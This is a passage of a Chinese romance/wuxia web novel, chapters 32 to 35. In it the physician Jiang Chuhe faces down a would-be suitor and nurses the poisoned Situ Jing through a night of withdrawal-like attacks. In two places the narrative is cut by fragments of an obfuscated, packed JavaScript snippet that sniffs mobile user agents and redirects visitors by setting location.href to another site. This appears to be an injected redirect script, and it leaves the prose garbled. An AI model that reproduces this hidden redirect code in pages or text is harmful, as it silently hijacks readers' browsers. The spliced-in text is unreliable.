江楚禾心知自己猜得没错,便又继续说道:“阁下瞧中我,无非就是看江某这副容貌尚且还能入眼,也有不输于寻常男子的本事,能为你赚得些许银钱,同时家中又无父母兄弟能够帮衬,平日里只得任由你随便欺负,待你借婚事取回遗产,便可以轻松和离罢?” 这话说得对,却也不完全对。 陈崇选中她的确是考虑到这位江娘子美貌聪慧必能助他发财致富,同时又因娘家无人可任他拿捏,但排除这些出于现实利益的考量,更重要的一点却是…… 她吸引他。 或者说,是那种不可言明的,根植于男子本性之中的欲.望始终在勾.引他一步步靠近。 他看着江楚禾在朦胧灯光下的眉眼,一时竟忘了掌侧的麻痹,又不知死活地软下心来。 “和离?我可舍不得……” 陈崇举起手就往她的面颊上伸去。 32. 越界 “啪!” 江楚禾满脸嫌恶,将眼前的脏爪子一把拍开。 “你!”陈崇被那不轻不重的一掌生生打醒,他怒道:“江阿九你给我等着!从今往后,你就别想攀上黄家的高枝了!” 他盘算半天,料想她多半只关心生计,只好如此威胁。 但江楚禾却轻笑一声,面不改色:“江某不过小小郎中,从未奢求过自黄家牟取什么利益,只是不知……陈夫人若知晓陈郎君流连勾栏,是否还会似如今这般照拂于你呢?” 陈德音生性高傲,向来将从事声色行当的女子视为尘泥,如今又被清倌人抢去夫婿,可谓是恨意日增,如果得知陈崇亦与风尘女子有染,势必会迁怒于他,将对黄季的怨气如数发泄到这位好侄儿的身上。 她都想得到这茬,陈崇自然也能预料得到。 果然,他听后立即变了脸色,慌忙否认道:“你休要胡言!我何时出入过那等腌臜之地?你……可有凭据?” 就知道他会嘴硬。 江楚禾淡定回复:“当日你我初见之时,江某便已闻出陈郎君身上的那股异香了。” 不知为何,陈崇听后却像是松了口气。 他轻嗤一声,竟又拿起读书人的架子说教起来:“焚香品茗皆为君子雅事,你个卑贱的女流之辈……若是不懂,就莫要胡说!” 这番言论不够客气,但陈崇本就不是什么好相与的脾性,这个反应远不及她预想的那般气急败坏。 江楚禾对他的镇定感到有些意外。 好在问题不大,她还能再加一码:“江某虽对阁下这般的‘君子’不甚了解,但于制香一道却还算有些研究。那日您衣裳上所沾染的正是在下替人特制的香料,名唤‘巫山梦’……陈郎君不妨猜猜,这香是用来做什么的?” 巫山梦。巫山梦! 叫这么个名字,它能是用来干什么的? 不知是源于懊恼还是羞愤,陈崇此时已经满脸通红。 “我瞧郎君这模样,想必是已记起了此香的功用,那这香是何处的何人找我定制……江某就不必多说了吧?我早知陈郎君的癖好,却始终闭口不言,就是想为彼此留个体面,可惜……” 江楚禾假模假样地摇了摇头,“不过开门做生意,总归要以和为贵。不如这样……” 陈崇听出此事像是还有转圜余地,向她投去求和的目光。 他与那人之间的关系若被旁人知晓,一切的筹谋都必会落空,如若因此被押上公堂,更有可能落下个杀头的罪名。 想到此处,陈崇猛一哆嗦,忙问:“你要如何?” 见他终于就范,江楚禾大舒一口气:“很简单!只需郎君放过在下。” “这点你大可以宽心!”陈崇立即答应下来。 其实就算江楚禾不说,他也绝不会再打她的主意。 经此一事,陈崇总算看到了她在娇俏可人的外表下究竟有着怎样的利爪獠牙。 他身边已经有太多招惹不得的女子,绝对不能再娶回这么一尊大神。 江楚禾看他这般痛快,满意一笑,继续道:“既如此……下次你我若有缘再见,陈郎君便当那是头一遭吧!” 陈崇嘴角一抽,不是很敢去设想两人再度相逢的场景。 “好啦!既已达成共识,江某便不多言了,更深露重,恕不相送!” 说着,江楚禾抱拳拱手,准备回家。 “等等!”陈崇回过神来。 共识在哪里? 他嗫嚅着问起:“我那个事……” “哦?” 清澈的双眼忽闪两下,搅得陈崇心里又是一阵浪涌。 他压低声音,象征性地恐吓一句:“你莫要耍我!” “郎君怎么忘了呀?”江楚禾笑了笑,一脸纯良地继续道:“你我既还未初见,江某又怎会知晓郎君的秘密呢?” 语毕,她噙笑行礼,翩然离去。 归元堂门前的风波总算告一段落,可对于江楚禾而言,今晚的惊心动魄却是刚刚开始。 甫一进入内院,她便感觉到有些不对。 往日她受人延请出诊若是夜半而归,那人定会出门相迎,绝不会如今日这般,留给她一个冰冷黑暗的院子。 江楚禾有种不好的预感。 她顾不得点亮院里的灯笼,径直就冲向他的门前,隔着窗棱上的麻纸,只能见到屋内点着一盏昏黄的灯,如幽幽鬼火般闪动。 在他刚住进来不久后,江楚禾就发现此人似乎有些怕黑,夜里总要伴着灯盏才能入眠,现在这情形,莫非是已经睡下了? 正思忖时,屋内突然传来几声低低的呜咽。 “晏安!你不舒服么?” 江楚禾大力捶门,却无人回应。 “东……东家?” 宋福被这阵势惊得不轻,险些将手中刚点好的灯笼摔到地上。 “我得进去看看!” 她话音未落,宋福就已在推门,谁知却纹丝不动。 “东家,晏公子将门从里边锁上了……” 江楚禾显然也意识到此路不通,转身就寻起别的法子。 弋陵的春夜凉爽舒适,多数本地人都不会阖窗而眠,她摸黑跑至窗边,祈祷着那人能入乡随俗,给她留条通路。 万幸! 江楚禾单手一撑,麻利地跃进屋内,落地不过一瞬,她就立即朝那人扑去。 “晏安!晏安……” 她一遍遍呼喊着,但对方却没有给出任何回应。 此时司徒靖正蜷成一团,不受控制地颤抖着身体。 江楚禾朝他额头探去,竟是一片滚烫。 “莫非是伤口化脓了?” 她心下一沉,伸手就去扯他衣襟。 “不!” 司徒靖在意识昏沉之际却仍旧警醒,伴随一声大喝,手臂本能似地向外挥出,险些将她推倒。 宋福刚才攀着那扇木窗爬进屋,悬起半天的小心脏还没来得及放回肚里,就见着这般令人心惊的一幕,忙不迭地跑上前去。 “东家!晏公子这是……咋了?” “还不清楚……快!先来帮忙!我要看他肋下的伤!” 说罢,她再度将手伸向司徒靖的衣带。 就在这时,那人突然睁眼,素来犀利的墨色双瞳已然失焦,但内里暗藏的凶悍本能却更加震慑人心。 “晏安?你别怕……我只是想看看你的伤口……” 江楚禾好声好气地安抚商量着,但他却好像没听进去 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此人来到归元堂时已中毒多日,前两种方法自然皆已无用,江楚禾只能设法弄清他所吸入的毒物究竟为何,再针对性地配制解药。 这是最可靠的方法,但也是三者之中最难的那个,因为若对所中之毒全无了解,就只能凭借猜想多次尝试,再根据毒素对不同药物作出的反应来进行推断。 经过此前数十天的努力,她终于用排除法推断出那人所中之毒的基本成分:火离草、旋覆花、阳桂枝、炙甘草、辛芥子。 这五味药物皆有补益阳气之功效,但却因种植难度过大而濒临灭绝,如今已罕为人知,江楚禾还是在青囊山庄求学期间偷偷摸进藏典阁中,在一卷名叫《药毒同源》的古籍中见到过相关的记载。 根据此书收录的上古巫医毒方,将这五味药物混合炮制后即可制成至阳药物“五阳丹”,服之可放大五感、促发潜能,使人气血激荡,乃至暴怒嗜杀,同时又能加速伤口愈合,所以一度曾被武林人士当做灵丹妙药而争相抢夺,直至近百年来,因气候异变导致原料灭绝,又受战乱影响而使秘方失传,此物才在江湖中慢慢消失,逐渐成为一个传说。 江楚禾为那人把脉片刻,然后对宋福下令,道:“阿福,还是之前那个方子,你快去再煎一服过来。” “啊?那……那这边……” “没事,有我。” 说罢,江楚禾微微向前倾身,左手撑在司徒靖的体侧,右手则捏着银针稳稳刺入。 游走在四肢百骸的刺痛逐渐变得钝化,但被剥离的意识却仍旧未能归位。 “晏安……晏安?”江楚禾紧紧盯住他的眉眼,不停呼唤着。 司徒靖的双眼在紧闭的两睑下不住转动,纤长的羽睫也随之颤抖,但那双漂亮的桃花眼却迟迟没有睁开。 她有些心急,复又催道:“阿福?愣什么?快去!将汤药熬得浓些!” “哦!好!”宋福赶忙应声,小跑着冲出房门。 屋内只剩一盏孤灯和一双交叠的暧昧人影,压抑的呼吸声在寂静中愈发清晰,江楚禾全神贯注,感知着他气息的每一丝微弱变化,直到他紧绷的肌肉逐渐放松,缓缓睁开眼睛。 33. 逾矩 司徒靖眸中的狂乱已褪去大半,取而代之的是更加复杂难言的情绪,惊讶、茫然、羞耻、难堪,全都一股脑杂糅在他竭力维持的镇定中,墨瞳愈发幽晦,看得她更加心急。 江楚禾顾不上起身,反而就着跨坐的姿势向前倾身,俯视着他,焦急问道:“你醒了?感觉怎么样?” 他没有回话,只是直勾勾地看着她。 她的脸离得这样近,近到能看清她额上渗出的汗珠,以及那双杏眸中倒映着的,衣襟大敞的自己。 司徒靖下意识抬手,想要收拢衣衫,可动作刚起,手腕处便传来一阵尖锐刺痛,上面的布条被绑的极紧,他方才毒发时挣扎的力气又大得惊人,早已将两腕磨出红痕。 “你别动!”江楚禾立即压住他的手臂,在上面又补了两针,“没有我的吩咐,你居然就敢乱动,是想经脉逆行吗?” 闻言,司徒靖果然停下动作,眼神中也不再透着讶异与迷茫。 但江楚禾却不敢大意,毕竟毒发之人神志时有昏聩,更重要的是…… 医者问话,他不赶紧回复,却忙着盖身子,这是什么毛病? 她凑得更近,急切问道:“你可记得我是何人?” 司徒靖点头。 可江楚禾却并不接受这个有些敷衍的回应,身为医者,定要完全确定对方已神思清明才行。 她向前倾身,紧盯着那双微微泛红的桃花眸,继续追问:“说出来,我是谁?” 司徒靖眨了眨眼。 她是谁? 是他二十余年冷寂岁月里仅存的光亮,是他旖旎梦境中唯一的幻想。 是他的知己,他的爱人,他名正言顺的妻。 她是江楚禾。 于心中默念过千万遍的名字几乎就要脱口而出,却在即将发出音节的那一刻又听见她的催促。 “晏安,快说出来,我是谁?” 晏安。 这个人,可没有资格知晓她的闺名。 像是兜头浇来一盆凉水,激荡的心潮又迅速冷却下去。 司徒靖喉头滚动,苦涩回道:“你是……江九娘子。” 听见这个熟悉的称呼,江楚禾松了口气:看来他神志尚且清醒,真是万幸! 此事既已确认,紧绷的意识总算暂时得以松弛,正巧双腿也因支撑太久而有些酸软,她晃动两下,便往后一沉,又坐了回去。 司徒靖浑身的肌肉骤然僵硬。 江楚禾的重量尽数压在他的两股之上,她的体温也隔着薄薄的衣料向他传来,明明白白地提醒着两人此刻的姿态是何等逾矩,而他的模样又是何等不堪。 羞耻感再度席卷而来,司徒靖扭过头,冷声道:“下去。” 江楚禾怔愣一瞬,这才后知后觉地意识到两人此刻的姿势似乎亲密得有些过分。 她两颊一烧,利落地翻下床榻,还不忘嘴硬回怼:“你凶什么?我也只是为救你性命才出此下策!方才你神志不清,还力大如牛,我和阿福两个人都险些没能将你制住,若非我急中生智,想出这个法子,你怕是早就已经血脉逆冲,不死也废了!” “多谢。” “你知道就好!医者父母心,我这也是事急从权!” 江楚禾一边念叨,一边为他拔去银针,最后才将他腕间的绑带拆开。 甫一恢复行动,司徒靖立即穿好里衣。 见他是这个反应,江楚禾大为不解。 “诶?我说……你这身子又没啥见不得人,怎的就这么不愿意给人瞧见?”她嘟着嘴,用带着几分嗔怪的语气,控诉起身为医者的不容易:“方才我行针时解你衣裳,险些被你生吞了!” 对此,司徒靖并不意外。 在三王之乱平息之后,大梁境内四海升平,建兴帝便起意借助文化交流与北境诸国结交,而那时的司徒靖则因通晓外文、博览百家而被视为代表皇室出使的最佳人选,在年仅十五岁时即携一众高僧羽士北上交流。 此行原本还算顺利,却未曾想,在即将踏上归途之际,西绝王庭突发萧墙之祸,旧日汗王呼延顿被其弟呼延冒毒害,而后者在登上王位后不仅无意与大梁交好,甚至还扣下司徒靖作为人质,意图借此讨得大笔金银钱帛。 可建兴帝是什么人?又岂会乖顺低头,受他北境蛮族的要挟? 不过半月,定州北部便布满重兵,呼延冒见讨不着便宜,在盛怒之下竟将手里这位出身皇室的敌国来使投入牢中,凌虐数月之久。 虽然司徒靖最终是凭借自己的力量顺利逃出生天,甚至还将前往和亲的华阳长公主一并救回故土,但此事对他身心带去的创伤却难以根除,以至于他至今都无法在黑暗逼仄的环境下久待。 而那些特制刑具在他身上留下的疤痕,更如同烙印一般,让司徒靖每每目睹,都不免回想起当年的屈辱,想来若有人在他意识混乱乃至狂躁不安之际为他解衣施针,他定然不会乖巧配合。 此事于他而言虽记忆深刻,却几乎无人知晓,这不仅是皇室出于遮羞的需要,也是因为他本人不愿提及这段隐秘的痛楚、可耻的往事。 特别是,在她的面前。 沉默片刻,司徒靖垂下眼帘,含糊地解释道:“我……不太习惯在人前宽衣,方才失态,多有冒犯,给江九娘子添麻烦了。” 他的声音如往日一般平稳,但刻意错开的视线和僵硬挺直的脊背却明晃晃昭示着背后的隐情。 更何况,方才那种程度的抗拒,可绝不只是“不习惯”就能说得过去的。 江楚禾看得出来,却还是强忍好奇之心,没有追问下去。 毕竟,人人都有不愿让旁人知晓的秘密。 “哦,这样啊……”她点点头,故作轻松道:“那你这人还真是好生迂腐!医者眼中无男女,唯病患耳!下回别遮着掩着耽误救治,大大方方的,听见没?” 司徒靖看得出她仍有疑虑,但江楚禾既不再问,他便也就坡下驴,颔首道:“明白。” 见他应下,江楚禾总算满意,忙又问起正事:“话说,今晚这是什么情况?你几时开始不舒服的?都有什么症状?” “午后开始,低热不褪,手足乏力。” “午后?”江楚禾杏眼圆瞪,“那会儿我还没离开家呢,你怎么不早说?” 司徒靖并不答话,只抬眼望着她,一双桃花眼中带着四分歉意、六分乖巧,让人有些狠不下心。 “你……”江楚禾深吸一口气,挪开视线,继续问:“后来呢?” “入夜之后症状加重,神思也逐渐混沌。” “此前我三番五次叮嘱过你,若是有任何异常,定要第一时间如实告知我,你都当耳边风了?” 司徒靖自知理亏,只好认错:“是我不对,以后不会了。” 见他如此,江楚禾只好咽下话到嘴边的那一串唠叨,装模作样地威胁道:“你知道就好!再有下次我就……” 她本打算说“我就不管你了”,但对上那张脸,竟莫名有些说不出口,只得拿起手边的那卷银针,匆忙改口道:“我就把你扎成个大刺猬!” 这么说果然还是缺点气势,她想。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923018|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不然这人在听后怎么丝毫没有被震慑到的恐惧,反而是一脸的忍俊不禁,而且还…… 还笑得那般勾魂摄魄! 两片薄唇紧紧抿着,像是在极力维持住清冷严肃的表情,但那双桃花眼却已然弯起,带着掩不住的笑意,正一错不错地望向她。 江楚禾顿觉两颊发烫。 就在她无措之时,屋门被“笃笃”叩响。 “东家?药煎好了,我现在送进来么?”宋福轻轻推门,探进半个脑瓜。 来得正好! 江楚禾大步上前,打开房门,“给我就行,你昨晚没睡好,今儿又绷着一天,肯定累坏了,快歇着去吧!” 她说的都是实情,故而宋福也没再推辞,将托盘递给她便道谢离开。 江楚禾再回到床前时,又挂回了那副专业的医者面孔。 她把汤药端到那人面前,催促道:“快,趁热喝了。” 司徒靖应声接过,可就在两指刚要触到碗壁的瞬间,刺痛突然再度袭来,他颤抖着收回手。 “你怎么了?” 江楚禾忙将药碗放下,转身再看他时,他正紧紧捂着心口,颤抖着弓起背。 “你这是心口疼?嗯?还能说出话吗?” “别怕……只是间歇性的刺痛……忍一阵就好了……” “间歇性的刺痛?所以……除了低热不褪、手足乏力、神思混沌,你还忍着噬心之痛不同我说?你知不知道若不如实告知病情,可能会害死你的!” 江楚禾连珠炮似地讲了一堆,但见他皱眉忍耐的样子又心有不忍,最终还是放软口气,继续关心起他的病情。 “具体怎么个疼法?什么时候开始疼的?” “如针刺般的阵痛……自心口蔓延至四肢,是从今日傍晚……才开始的。” 他的嗓音低哑,听上去也比方才要虚弱不少,可即便如此,却仍在努力撑起身体。 江楚赶紧上前,将他半搂起来,“你想干什么?是要起身吗?这样会舒服些吗?” 司徒靖摇摇头,将手伸向一旁的药碗。 虽然不怎么听话,服药倒是挺主动。 她顺了顺气,温言阻止道:“那个先不喝了,此前不知你还有这些症状,那个方子恐怕不对症。” “对症。” “嗯?” 见她似是有疑,司徒靖继续解释道:“自服用此方以来,心绪烦乱、躁动难抑的症状已有所缓解,且伤愈速度也已恢复正常。” “伤愈速度?你……怎么确定的?” 这人该不会故意弄伤自己吧! 猜到她又在乱想,他忙道:“只是割破了手指,不碍事的。” “哦。”江楚禾低低应声,眸光中的狐疑却是分毫不减。 毕竟,仅凭上述几点就判定此方对症,多少还是有些武断。 这可不像是他的作风。 “你是不是还有其他事情没告诉我?”江楚禾轻哼一声,“我可是青囊山庄现任庄主的关门弟子,高低也得算是个小神医,至今还从未有过哪个病患在我手中魂归西天的。如今为了救你,我可是赌上自己‘神医’的招牌了,若因为你不肯老实配合,最终……害我声誉有失,我就是……不……你就是做鬼我也不会放过你!” 听见如此“威胁”,司徒靖倍感无奈。 但此事毕竟关乎用药,凭他对江楚禾的了解,她绝不会如方才那般轻易放过。 如此想着,他只得老老实实地以实情相告:“恐怕在多年之前,我就曾中过此毒。” 34. 温存 什么? “你先前不是说……” 见她似有几分愠色,司徒靖垂下眼眸,低声解释:“我并非有意隐瞒,只是此事距今已近十年之久,彼时我尚且年少,与之相关的记忆已然模糊,且此次症状与当年相比略有差异,这才迟迟难以做出决断。” “症状不同?” “嗯。”司徒靖点点头,“那时的药力要暴烈许多,且有放大五感之效,服后对疼痛的感知会更为敏锐,但此次中毒却并无类似的症状,不知是否同我吸入的剂量有关。” 江楚禾没有对他的猜测做出任何表示,此时在她脑中盘旋着的只有四个字:放大五感! 放大五感。促发潜能。加速伤愈。激荡气血。 古籍中关于五阳丹的记载又一字一句地在她脑海中重现。 江楚禾不自觉地睁大眼睛,焦急追问:“那你可知……你当年所中之毒是什么?后来又是如何解的?” 当年司徒靖身在牢中,每日重复着被灌药、受刑、治疗这一系列的流程,鲜有神思清明的时刻,按理讲并没有机会得知此毒的具体信息,所幸当时奉命折磨他的紫衣巫女身边还跟着一位弟子,每到动手之前都会为她演示许久。 他记得那绿眸少女曾问起过此毒的名字,而巫女的回答是…… “以五种至刚至阳之物制成的药?” 这不就是五阳丹么? 看江楚禾神情微变,像是惊惧中混杂着疑虑,他又补充道:“因下毒之人是以西绝语称呼此物,我便只能以此直译,据称此物并非毒,而是一种习武之人用来激发潜能的药,所以无需刻意去治,只要在戒断时期能够忍住痛苦,其效自解。那时,我便是如此恢复的。” 所谓“是药三分毒”,如此看来,或许不再给他用药反而更好? 可他今晚突发的新症状又实在不像是能等待自愈的样子…… 想起这茬,江楚禾觉得有必要再问个清楚:“你之前中毒时,每到月圆之夜也会遭受今日这般痛苦么?” 司徒靖摇头。 “那你怎么确定此次所中之毒与当年那个是同一种呢?” 对方再度沉默下去。 事实上,若非今晚游走于四肢百骸的刺痛勾起他被囚于西绝的往日回忆,司徒靖还不曾因这两次中毒的症状相近而猜测过它们之间的联系。 直至混沌的意识模糊了现实与回忆的边界,他这才看到被神志封锁多年的记忆之中,那对森寒的碧色眼瞳,与他在越州突袭贼人据点时堪堪照面的一双绿眸逐渐重叠。 可此事若要解释起来,恐怕会涉及太多秘密。 司徒靖有些犹豫。 江楚禾则早就看出他心有疑虑,便又递上一个台阶,“并非是我不相信你,只是身为医者,我不能见死不救,亦不能药石乱投,所以难免要问得仔细一些。若是你有顾虑,不能将细节对我和盘托出,我也能够理解,绝不会借医病之机逼你说出秘密。现下我只问一句,你有几成把握此毒确为你所说的那种?” 司徒靖思忖片刻,不答反问:“有没有可能……我今晚表现出的症状其实是两种毒物叠加影响的效果?” “你是说……潜伏在你体内的毒物不止一种吗?” 他微微颔首。 江楚禾并非没有考虑过这种可能。 实际上,自她推断出司徒靖身中五阳丹起,就一直在古籍残卷中寻找着能与之配伍的其他毒物。 只是归元堂内藏书有限,她几乎是翻遍书房也没能寻到任何有用的信息,只好飞鸽传书将此事托付给师兄,指望他能借着少庄主的身份,去青囊山庄藏典阁中翻一翻只有他和庄主本人才能查阅的那些禁书。 如今师兄还未回信,因此她并不能给出一个确定的结论,但若问及这种可能性,答案自然是肯定的。 于是,她点了点头。 “那么,我有九成把握。”司徒靖终于给出回复。 以他的性子,这几乎可等同于十成十。 江楚禾端起药碗,神色郑重,“若我猜得不错,你所说的那种药物名曰‘五阳丹’,是一剂自上古流传下来的巫医秘方,这服药是我根据典籍记载中的五阳丹成分斟酌配伍而成,理论上虽然可行,但未经实证,且你体内或许还有其他毒物干扰,故而我也不能确定此药效用几何。所以……是否服用,得由你自己拿主意。” 她这么做并非是有意要将责任推给病患,实在是现下情况特殊,无论两人的推测是否准确,此番治疗多少都有些“赌”的成分,而赌注则是他的性命。 这个决定自然只能由他来做。 所幸那人思虑周全、从不弄险,定会在三思之后才…… 诶!等等! 江楚禾眼看着他在接过汤药后一饮而尽,这才摊着空空的两手,后知后觉地问道:“你……到底想清楚没有?” “我相信你。”他微微勾起嘴角,被药汤沾湿的双唇在灯光下闪着暖黄的亮色。 江楚禾晃神一瞬。 就在她怔愣的间隙,司徒靖放下手中的瓷碗,低声道:“夜色已深,你也快回去歇着吧。” 这服汤剂中包含几味具有镇定之效的药物,根据之前的经验,他不到一刻就会陷入昏睡,留她在此也是空耗精神,倒不如早些回去休息。 但江楚禾却有着自己的打算。 “你睡你的,我守在这儿。” “不必……” “必不必要,我说的才算!”江楚禾杏眼圆瞪,语气不容置疑:“月圆之夜尚未过去,你体内寒毒不知会否反复,我不放心。” 果然,快到四更天时,噬心之痛便再度袭来,尖锐的刺痛与凛冽的寒气一同在经脉中游走,逐步蔓延至指尖,司徒靖微微蜷起身体,发出痛苦的闷哼。 “晏安!你怎么样?还能坚持吗?” “嗯。”嘴上虽这么应着,可额上的冷汗和颤抖的双手早已将他出卖。 见他痛苦难忍,江楚禾立刻起身,打算去给他弄一碗麻沸散。 “别走!”司徒靖伸手去捉她的腕子。 江楚禾回握住他,又用另一只手拍着他的肩头,安抚道:“不是要走,我只是去给你拿药。” “药?” 司徒靖抬眼看她,大约是因现下意识不清的缘故,他的眼神中透着些许茫然,没了往日的深邃清冷,倒是平添一股纯善天真的少年英气。 江楚禾替他将鬓角散乱的碎发捋到耳后,温声道:“我去拿些能让你好过一点的药。” 谁知他听后更加不安,连连拒绝道:“不!不要……麻沸散……” “偶尔用一次不会成瘾的。” “那也不要……” 他小声嘀咕着,听上去像个正在撒娇的孩子,或是胡闹的醉鬼。 江楚禾从没见过这样的他,心头不禁发软,连声音也柔和不少,好似哄逗一般:“不要麻沸散……那要什么?” “要你。”他的发髻散乱、眼神迷离,唯独对这个答案格外坚定。 虽然江楚禾很确定他这话里并没有别的意思,但不知怎的就臊红了脸,慌张之下赶紧松开与他相握的手。 可指尖刚一抽走,司徒靖就揪住她的袖口,两指摩挲几下,又顺着衣袖握上她的手腕。 “你别走!别离开我……”他低哑着嗓音祈求道。 也罢,这人怕是已经疼糊涂了。 江楚禾轻叹一声,重新坐回床边,用空出的那只手轻轻抚着他的后背。 “我哪儿都不去,就在这里陪你。” 他蜷起身子又朝江楚禾的方向挪近一些,她的手掌微凉,隔着薄薄的单衣覆在他后心之上,但司徒靖却感觉像是有一股暖意正慢慢传进他的血脉,助他抵抗着那一阵阵凛冽的寒气与蚀骨的刺痛。 他向来善于忍耐,一切痛苦难堪皆不肯示于人前。 但那已是过去。 若不曾体味过她指尖的温度、掌心的柔软,或许还能故作坚强。 可此时的他,只会流连沉湎于方才用撒娇耍赖换得的短暂温暖里。 多么低劣,又多么可悲。 在意识彻底抽离之前,司徒靖脑中想着的最后一件事是—— 若此刻的温存能得以永恒,他愿承受这如同凌迟一般的痛楚,直到岁月的尽头。 幸或不幸,这份痛苦并没有持续太久,待到天边泛起一线光亮时,他体内的毒物终于渐渐安分下去,可司徒靖却无法安眠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923019|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原因无它,是持续二十余年的规律作息正在强行唤醒他的身体。 因毒发导致的种种症状尽数消退,他的神思已然恢复清明,昨夜在疼痛难忍之际苦苦哀求陪伴的记忆自然也回到他的脑海。 司徒靖想到此事,心下还有些赧然,双目在眼皮下骨碌碌地转着,两眼却迟迟不肯睁开。 江楚禾在床边矮凳上守了他一夜,几乎是目不转睛地盯着对方,此等异状当然第一时间就引起她的注意。 “你醒了?” 听她问起,司徒靖只好认命睁眼,直起身子。 与他设想的不同,江楚禾并未对他昨晚的失态做出任何反应,而是一如寻常那般径直问起了他的病情:“如何?你还难受么?” 司徒靖摇头。 打从得知他所中之毒并非死契开始,江楚禾就一直留意着这毒物的动向。 谁承想,这玩意是丁点没有要攻击脏腑的意思,更别说有什么打算要他性命的征兆,就一直如此苟到月圆之夜才来这么一遭,实在是让她摸不着头脑。 哪有人辛苦制毒就为了让人隔一月受点苦的? 这也忒闲了! 带着这种怀疑,江楚禾又追问道:“那你可有什么别的不舒服?” 可他仍旧坚定地摇了摇头。 “当真一丁点不适都没有了?”江楚禾微微瞪大眼睛,像是有些不可置信。 司徒靖自知有过隐瞒症状的前科,想来她这般反复求证也是应该。 于是,他又肯定道:“除却疲累,确无其他异状。” “莫非这毒还真是只在月圆之夜出来作妖……就为了给人一点苦头尝尝?” 江楚禾觉得这个猜想有些离谱,真将其拿来探讨怕是有损医家的专业形象,因此嘀咕半句就没了声。 她虽已掐住话头,但司徒靖却将此言听得一清二楚,见她不再作声便顺势发表了自己的见解:“现在要做论断怕是太早,若下月十五还是如此,这般猜测才算有些根据。” 字字句句都彰显着此人一贯的严谨可靠,就是听着欠揍得很。 江楚禾一抬柳眉,提起声音道:“怎么,你还想再来一回?你究竟知不知道昨晚有多吓人?我还以为你……” 在他不省人事之时,她所感受到的焦急心痛太过强烈,连她自己都有些不敢相信。 她对患者向来尽心,自会因病患生命垂危而着急,但那只是出于责任和悲悯。 而在昨夜,那份紧握对方最后一丝生的希望而迟迟不肯撒手的留恋,绝非是对寻常病患,乃至旧识伙伴该有的感情。 她不敢继续想下去,不敢想这份感情意味着什么,也不敢想她心中惧怕的,会发生在这人身上的那件事。 话到一半,江楚禾欲言又止。 “都过去了。”司徒靖宽慰道。 噬心之痛都已过去,而他借此求得的片刻温存也是同样。 他自嘲地勾起嘴角,又对她道:“昨晚劳烦江九娘子彻夜看顾,在下甚是感激,眼下既已无事,你也回去歇着吧。” 这人在意识模糊之际可是比清醒时坦率多了! 江楚禾在心中腹诽一句,可在看到他眼周的乌青与下颌的胡渣后,又强忍住要与他掰扯两句的想法,只用带着几分戏谑的语气打趣道:“好嘛,你现在是不需要我了!” “你知我并非是这个意思……” 司徒靖垂眸抿唇,满脸愧意。 幸好江楚禾没再多说什么,她收起手边的工具,貌似乖顺地应道:“那你好生歇着,我也先回去休息,稍后让阿福给你送早点来。” 眼下卯时未至,估摸宋福也刚起来,于她而言更是连用早膳都嫌太早的时辰。 可江楚禾在出门之后却并未回屋睡下。 她趁着在厨房喝粥的时间向宋福快速交代了几句医馆近期经营事宜,然后便一头扎进书房,在那一柜子书卷中翻找起来。 她想,横竖近日也没什么要紧事,不如先将生意交给宋福打理,她好集中精力攻克那人所中之毒,免得下月十五他还得平白再遭一场劫难。 只可惜天违人愿,江楚禾闭关才不过几日工夫,就有人在晨光熹微之际来医馆捶门。 35. 来客 二月十九。 卯时方至,江楚禾刚循着香味找到厨房,就听见大门被人“咚咚”叩响。 这几日里,她因为要时时观察司徒靖的症状,几乎是寸步不离地跟着他,连作息都快要与此人同步。 只是她虽靠着早点赋予的动力起了床,脑筋却没那么快清醒过来,此时听见敲门声,还在迷迷糊糊地揉着脑袋。 宋福自然知道她的德行,见此情状没有二话,向灶台边正在摊饼的司徒靖打了个招呼就趿拉着鞋往前院走去。 听见脚步声,外边的人着急大喊:“江!娘!子!” 宋福眼前一黑。 是钱媪!这大清早的又是要说哪门子的媒? 他满腹牢骚地取下门闩。 院门刚一打开,钱惠姑就扑了进去,两人撞到一起,异口同声地喊叫出来:“啊呀!” 宋福扶住钱媪,在细瞧之下吃了一惊。 此人虽年过半百,但往日里最是喜好打扮,哪次见面都是浓妆艳抹的,恨不能将那些个待字闺中的小娘子都比下去,何曾似今日这般憔悴? 再联想到她在天刚蒙蒙亮时就跑来敲医馆大门,莫不是…… 思及此处,宋福忙问:“钱媪,您可是身子有哪里不舒坦么?” 可钱惠姑却没有应他的话,只是呼嚎着:“你们江娘子呢?救命哇!” 这音色听上去倒还是中气十足。 宋福扁扁嘴,料想她应没什么大事,便按江楚禾此前的嘱咐,应付道:“实在不好意思,我们东家有要事在身,近些时日都不能坐堂,您若有事,可先同我说说……” 钱惠姑皱起眉头,看上去似乎不太满意。 宋福只好再退一步:“您若是信不过我的医术,小的也可以飞鸽传书请南郊药圃的其他师兄过来代班坐堂……您看……” 他说得诚恳,但这显然也不是钱惠姑想要的答案。 她甩开宋福的手,猛拍大腿叫嚷道:“啊呀!这都什么时候了?江娘子就是有天大的事情,还能比疫病更要命吗?” “疫病?我们怎么不知道……” 近几日里,归元堂一直处于半歇业的状态,除偶尔由宋福出门采买外,其余时间三人均在医馆闭门不出,自然也没机会听得什么市井流言。 可钱惠姑哪里晓得这些内情,只当这是他不愿多事的托词。 